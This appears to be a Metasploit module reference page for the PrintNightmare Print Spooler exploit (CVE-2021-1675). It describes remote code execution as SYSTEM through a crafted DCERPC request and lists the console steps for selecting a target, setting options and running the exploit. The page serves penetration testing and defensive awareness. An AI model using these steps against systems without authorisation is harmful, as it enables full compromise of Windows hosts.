The print spooler service can be abused by an authenticated remote attacker to load a DLL through a crafted DCERPC request, resulting in remote code execution as NT AUTHORITY\SYSTEM. This module uses the MS-RPRN vector which requires the Print Spooler service to be running.
To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced':
msf > use exploit/windows/dcerpc/cve_2021_1675_printnightmare
msf exploit(cve_2021_1675_printnightmare) > show targets
...targets...
msf exploit(cve_2021_1675_printnightmare) > set TARGET < target-id >
msf exploit(cve_2021_1675_printnightmare) > show options
...show and set options...
msf exploit(cve_2021_1675_printnightmare) > exploit
Time is precious, so I don’t want to do something manually that I can automate. Leveraging the Metasploit Framework when automating any task keeps us from having to re-create the wheel as we can use the existing libraries and focus our efforts where it matters.
